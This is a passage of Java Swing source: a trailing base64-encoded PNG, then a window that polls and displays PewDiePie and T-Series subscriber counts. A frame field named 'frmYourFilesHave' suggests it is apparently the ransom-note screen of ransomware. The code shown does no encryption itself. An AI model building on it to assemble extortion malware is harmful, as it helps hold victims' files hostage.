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";
private static BufferedImage img = null;
private static JProgressBar progressBarPEW = new JProgressBar();
private static JProgressBar progressBarT = new JProgressBar();
private static JLabel lblPewdiepie = new JLabel("Pewdiepie Sub Count: ");
private static JLabel lblT = new JLabel("T-Series Sub Count: ");
/**
* Launch the application.
*/
public void Entry() {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
UI window = new UI();
window.frmYourFilesHave.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
while (true) {
final int pewCount = scraper.getPewdiepieCount();
final int TseriesCount = scraper.getTSeriesCount();
try {
EventQueue.invokeLater(new Runnable() {
public void run() {
progressBarPEW.setValue(pewCount);
progressBarT.setValue(TseriesCount);
lblPewdiepie.setText("Pewdiepie Sub Count: " + pewCount);
lblT.setText("T-Series Sub Count: " + TseriesCount);
}
});
Thread.sleep(100);
} catch (InterruptedException e) {
}
}
}
/**
* Create the application.
*/
public UI() {
initialize();
}
/**
* Initialise the contents of the frame.
*/
private void initialize() {
